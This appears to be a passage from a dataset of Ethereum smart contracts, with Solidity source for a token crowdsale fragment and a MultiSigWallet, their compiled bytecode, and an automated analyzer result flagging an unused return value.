token.transferOwnership(newOwner); } function setEndTime(uint256 newEndTime) payable public { require(msg.sender == wallet); endTime = newEndTime; } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630d1118ce146100e85780631302d03a1461011f5780632c4e722e146101615780633197cbb61461018a5780634042b66f146101b3578063486fc7e8146101dc578063521eb2731461020a5780635a119ef21461025f57806369e63eed1461029857806378e97925146102e9578063a6f9dae114610312578063ccb98ffc14610340578063ec8ac4d814610358578063ecb70fb714610386578063f0dda65c146103b3578063fc0c546a146103ea575b005b61011d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061043f565b005b341561012a57600080fd5b61015f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061057c565b005b341561016c57600080fd5b6101746106b9565b6040518082815260200191505060405180910390f35b341561019557600080fd5b61019d6106bf565b6040518082815260200191505060405180910390f35b34156101be57600080fd5b6101c66106c5565b6040518082815260200191505060405180910390f35b610208600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106cb565b005b341561021557600080fd5b61021d6107f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561026a57600080fd5b610296600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061081f565b005b34156102a357600080fd5b6102cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108d6565b604051808215151515815260200191505060405180910390f35b34156102f457600080fd5b6102fc6108f6565b6040518082815260200191505060405180910390f35b61033e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108fc565b005b610356600480803590602001909190505061099c565b005b610384600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a02565b005b341561039157600080fd5b610399610a40565b604051808215151515815260200191505060405180910390f35b6103e8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a4c565b005b34156103f557600080fd5b6103fd610bcc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561049d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff16639dc29fac84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561056357600080fd5b6102c65a03f1151561057457600080fd5b505050505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105da57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff16631302d03a84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156106a057600080fd5b6102c65a03f115156106b157600080fd5b505050505050565b60045481565b60025481565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561072757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156107e257600080fd5b6102c65a03f115156107f357600080fd5b50505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561087b57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60066020528060005260406000206000915054906101000a900460ff1681565b60015481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561095857600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f857600080fd5b8060028190555050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610a3d57600080fd5b50565b60006002544211905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610a8857600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ae057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bac57600080fd5b6102c65a03f11515610bbd57600080fd5b50505060405180519050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610bfb610c16565b604051809103906000f0801515610c1157600080fd5b905090565b604051611d6280610c2783390190560060606040526000600360146101000a81548160ff02191690831515021790555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611cf38061006f6000396000f300606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde0314610139578063095ea7b3146101c75780631302d03a1461022157806318160ddd1461026357806323b872dd1461028c578063313ce5671461030557806340c10f1914610334578063661884631461038e57806369ddd67d146103e857806370a08231146104355780637d64bcb4146104825780638da5cb5b146104af57806395d89b41146105045780639dc29fac14610592578063a9059cbb146105d4578063d73dd6231461062e578063dd62ed3e14610688578063f2fde38b146106f4575b600080fd5b341561011757600080fd5b61011f61072d565b604051808215151515815260200191505060405180910390f35b341561014457600080fd5b61014c610740565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610207600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610779565b604051808215151515815260200191505060405180910390f35b341561022c57600080fd5b610261600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610906565b005b341561026e57600080fd5b6102766109e6565b6040518082815260200191505060405180910390f35b341561029757600080fd5b6102eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109ec565b604051808215151515815260200191505060405180910390f35b341561031057600080fd5b610318610dab565b604051808260ff1660ff16815260200191505060405180910390f35b341561033f57600080fd5b610374600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610db0565b604051808215151515815260200191505060405180910390f35b341561039957600080fd5b6103ce600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fca565b604051808215151515815260200191505060405180910390f35b34156103f357600080fd5b61041f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061125b565b6040518082815260200191505060405180910390f35b341561044057600080fd5b61046c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611273565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104956112bc565b604051808215151515815260200191505060405180910390f35b34156104ba57600080fd5b6104c2611384565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561050f57600080fd5b6105176113aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055757808201518184015260208101905061053c565b50505050905090810190601f1680156105845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059d57600080fd5b6105d2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113e3565b005b34156105df57600080fd5b610614600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115f5565b604051808215151515815260200191505060405180910390f35b341561063957600080fd5b61066e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118b5565b604051808215151515815260200191505060405180910390f35b341561069357600080fd5b6106de600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ab1565b6040518082815260200191505060405180910390f35b34156106ff57600080fd5b61072b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b38565b005b600360149054906101000a900460ff1681565b6040805190810160405280600f81526020017f546f6b656e734761746520436f696e000000000000000000000000000000000081525081565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156107c857600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015151561081657600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561096257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561099e57600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a2957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a7757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b0257600080fd5b610b5482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cbb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0e57600080fd5b600360149054906101000a900460ff16151515610e2a57600080fd5b6b033b2e3c9fd0803ce8000000610e4c83600054611ca990919063ffffffff16565b1115610e5b5760009050610fc4565b610e7082600054611ca990919063ffffffff16565b600081905550610ec882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110db576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061116f565b6110ee8382611c9090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915090505481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131a57600080fd5b600360149054906101000a900460ff1615151561133657600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544743000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143f57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561148d57600080fd5b6114df81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153781600054611c9090919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561163257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561168057600080fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156116ce57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015151561171c57600080fd5b61176e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061194682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b9457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bd057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611c9e57fe5b818303905092915050565b6000808284019050838110151515611cbd57fe5b80915050929150505600a165627a7a723058205ee389a848c0aa3e8505dd69b603cb155335378ff57619f4066f33a05ecdbe110029a165627a7a72305820e05fe625f3f7742c0682c2576c0e150dae68727dd96357c436f94df93a285d020029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,239
0xd86fce1890bf98fc086b264a66ca96c7e3b03b40
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610538578063b5dc40c3146105cf578063b77bf60014610647578063ba51a6df14610670578063c01a8c8414610693578063c6427474146106b6578063d74f8edd1461074f578063dc8452cd14610778578063e20056e6146107a1578063ee22610b146107f9575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b610198600480803590602001909190505061081c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085b565b005b341561021e57600080fd5b6102346004808035906020019091905050610af7565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9f565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbf565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cee565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d80565b005b341561036957600080fd5b61037f6004808035906020019091905050610f82565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611068565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611134565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e1611190565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610524578082015181840152602081019050610509565b505050509050019250505060405180910390f35b341561054357600080fd5b610578600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611224565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bb5780820151818401526020810190506105a0565b505050509050019250505060405180910390f35b34156105da57600080fd5b6105f06004808035906020019091905050611380565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610633578082015181840152602081019050610618565b505050509050019250505060405180910390f35b341561065257600080fd5b61065a6115aa565b6040518082815260200191505060405180910390f35b341561067b57600080fd5b61069160048080359060200190919050506115b0565b005b341561069e57600080fd5b6106b4600480803590602001909190505061166a565b005b34156106c157600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611847565b604051808281526020019150506040518